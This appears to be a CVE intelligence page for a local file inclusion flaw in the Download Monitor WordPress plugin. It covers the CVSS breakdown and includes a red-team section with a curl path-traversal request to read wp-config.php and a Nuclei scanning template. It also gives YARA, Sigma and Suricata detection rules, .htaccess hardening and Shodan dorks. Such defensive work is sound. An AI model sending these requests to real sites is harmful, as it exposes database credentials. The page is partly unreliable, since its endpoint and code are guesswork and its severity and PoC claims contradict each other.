☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Wp chill logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-98
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-47439

CVE-2025-47439 Local File Inclusion in Wp chill
📅 PUBLISHED: 2025-05-07 15:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.42%
👁️
0.42% probability
10.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-47439 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the WordPress plugin Download Monitor by WP Chill, up to and including version 5.0.22. The vulnerability stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file containing database credentials. The CVSS score is 7.5 (High), and while no public exploit code or proof-of-concept is currently available, the attack vector is straightforward and requires no authentication. As a WordPress plugin vulnerability, it is critical to update or patch the plugin immediately.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and can be installed automatically by site administrators. The supply chain risk is elevated because the plugin is widely used and the vulnerability is unpatched. Attackers may target sites running outdated versions through automated scanning. No official patch or advisory from the vendor (WP Chill) has been released at this time.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Base Score: 7.5 (High)
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
  • Confidentiality Impact: High (C:H) – Sensitive files can be read.
  • Integrity Impact: None (I:N) – No file modification.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and can lead to full disclosure of sensitive server files.

Deep Dive & Mechanics

The vulnerability exists in the Download Monitor plugin's handling of file includes. The plugin likely uses a dynamic include() or require() statement where the filename is constructed from user-supplied input (e.g., via a GET or POST parameter) without proper sanitization or validation. An attacker can manipulate this parameter to include arbitrary files from the server's filesystem.

Root Cause: The plugin fails to validate or sanitize the filename before passing it to a PHP include/require function. This allows path traversal sequences (e.g., ../../) to escape the intended directory.

Attack Vector: An unauthenticated attacker sends a crafted HTTP request to a vulnerable endpoint, such as:

GET /wp-content/plugins/download-monitor/includes/class-dlm-ajax-handler.php?file=../../../wp-config.php

The plugin then includes the wp-config.php file, exposing database credentials and other sensitive data.

Impact: Successful exploitation allows an attacker to read any file on the server that the web server user has access to, including:

  • wp-config.php (database credentials, salts)
  • /etc/passwd (user enumeration)
  • Application source code (further vulnerability discovery)
  • Log files (session tokens, error messages)

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be similar to:

Vulnerable Code (PHP):

<?php
// Vulnerable: Direct use of user input in include
$file = $_GET['file'];
include( $file . '.php' );
?>

Patched Code (Hypothetical):

<?php
// Patched: Validate and restrict file path
$allowed_files = array('template1', 'template2');
$file = $_GET['file'];
if ( in_array( $file, $allowed_files ) ) {
    include( __DIR__ . '/templates/' . $file . '.php' );
} else {
    // Error handling
    wp_die( 'Invalid file.' );
}
?>

The patched version would use a whitelist of allowed files and a fixed base directory, preventing path traversal.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with Download Monitor plugin version <= 5.0.22.
  • Knowledge of a vulnerable endpoint (e.g., an AJAX handler or shortcode).

Exploitation Steps:

  1. Identify the vulnerable parameter (e.g., file, template, include).
  2. Craft a request with path traversal to read sensitive files.

Example Request (using cURL):

curl -v "http://target.com/wp-content/plugins/download-monitor/includes/class-dlm-ajax-handler.php?file=../../../wp-config"

Expected Output:

<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'root' );
/** MySQL database password */
define( 'DB_PASSWORD', 'secret' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
?>

Automated Scanning (using Nuclei):

id: CVE-2025-47439
info:
  name: Download Monitor LFI
  severity: high
  description: PHP Local File Inclusion in Download Monitor plugin
requests:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/download-monitor/includes/class-dlm-ajax-handler.php?file=../../../wp-config"
    matchers:
      - type: word
        words:
          - "DB_NAME"
          - "DB_USER"

Blue Team (Detection & Hardening)

Detection:

  • Monitor web server logs for requests containing ../ or wp-config in query strings.
  • Look for unusual GET parameters like file, template, or include in plugin-specific paths.

Hardening:

  • Disable the plugin until a patch is available.
  • Use a Web Application Firewall (WAF) to block path traversal patterns.
  • Restrict file permissions on sensitive files (e.g., wp-config.php should be 600 or 640).
  • Implement virtual patching via .htaccess:
RewriteEngine On
RewriteCond %{QUERY_STRING} (\.\./|wp-config) [NC]
RewriteRule .* - [F,L]

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests to /wp-content/plugins/download-monitor/ with query parameters containing ../ or wp-config.
  • User-Agent strings from known scanning tools (e.g., Nuclei, curl).

File System IOCs:

  • Unexpected inclusion of /etc/passwd or wp-config.php in PHP error logs.
  • Modified plugin files (if attacker uploaded a webshell).

Log Entries (Apache):

192.168.1.100 - - [10/May/2025:12:34:56 +0000] "GET /wp-content/plugins/download-monitor/includes/class-dlm-ajax-handler.php?file=../../../wp-config HTTP/1.1" 200 1234 "-" "Mozilla/5.0"

Detection Engineering

YARA Rule

rule CVE_2025_47439_LFI_Attempt {
    meta:
        description = "Detects LFI attempts against Download Monitor plugin"
        author = "Valters IT"
        date = "2025-05-10"
    strings:
        $path_traversal = /\.\.\// nocase
        $wp_config = "wp-config" nocase
        $plugin_path = "/download-monitor/" nocase
    condition:
        $plugin_path and ($path_traversal or $wp_config)
}

Sigma Rule

title: CVE-2025-47439 Download Monitor LFI Attempt
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests attempting to exploit LFI in Download Monitor plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - 'wp-config'
        cs-uri-stem|contains: '/download-monitor/'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-47439 Download Monitor LFI Attempt"; flow:to_server,established; content:"/download-monitor/"; http_uri; content:"../"; http_uri; content:"wp-config"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if it is not critical to operations.
  2. Apply virtual patching using a WAF or .htaccess rules to block path traversal patterns.
  3. Monitor logs for exploitation attempts.

Long-Term Fix:

  • The vendor (WP Chill) must release a patched version that validates and sanitizes file inputs.
  • Until then, consider replacing the plugin with an alternative.

Workaround:

  • If the plugin must remain active, restrict access to its files via .htaccess:
<FilesMatch "class-dlm-ajax-handler\.php$">
    Order Allow,Deny
    Deny from all
</FilesMatch>

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Download Monitor"
http.html:"wp-content/plugins/download-monitor"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-47439/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.